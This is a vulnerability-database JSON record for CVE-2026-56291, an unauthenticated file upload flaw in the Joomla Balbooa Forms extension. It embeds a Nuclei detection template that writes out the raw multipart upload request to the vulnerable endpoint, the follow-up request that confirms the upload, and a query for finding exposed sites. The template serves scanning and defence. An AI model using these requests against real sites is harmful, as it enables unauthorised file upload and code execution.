{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-56291/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-56291/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-56291/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-56291/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-56291/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-56291"},"sightings":{"href":"/api/v1/sightings/cve-2026-56291"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.14854,"kev":true,"percentile":0.96539},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-56291.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-56291\n\ninfo:\n  name: Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload\n  author: Nick Vidovic,0x_Akoko\n  severity: critical\n  description: |\n    Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.\n  impact: |\n    Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.\n  remediation: |\n    Update to the latest version of Balbooa Forms extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56291\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-56291\n    epss-score: 0.14854\n    epss-percentile: 0.96539\n    cwe-id: CWE-434\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: balbooa\n    product: forms\n    framework: joomla\n    fofa-query: body=\"com_baforms\"\n  tags: cve,cve2026,joomla,balbooa,baforms,file-upload,rce,vuln,kev,vkev\n\nvariables:\n  marker: \"{{to_lower(rand_base(8))}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\n\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        1\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        CVE-2026-56291-{{marker}}\n        ------WebKitFormBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /images/baforms/uploads/form-0/{{marker}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-56291-{{marker}}\")'\n        condition: and\n# digest: 4a0a00473045022100ffe67773d77b1de0e31e2675b59eeb677314262dc492fcb50bcf2077efde6193022012918ca8711d379f58d967902252dd68a6ed884dece4d16fd082cb4aaf3f6c44:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-56291"}